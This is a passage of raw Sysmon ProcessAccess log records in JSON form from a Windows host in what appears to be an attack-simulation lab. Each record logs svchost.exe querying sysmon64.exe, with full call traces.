C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1219,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1220,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1221,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1222,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1223,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1224,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1225,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1226,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 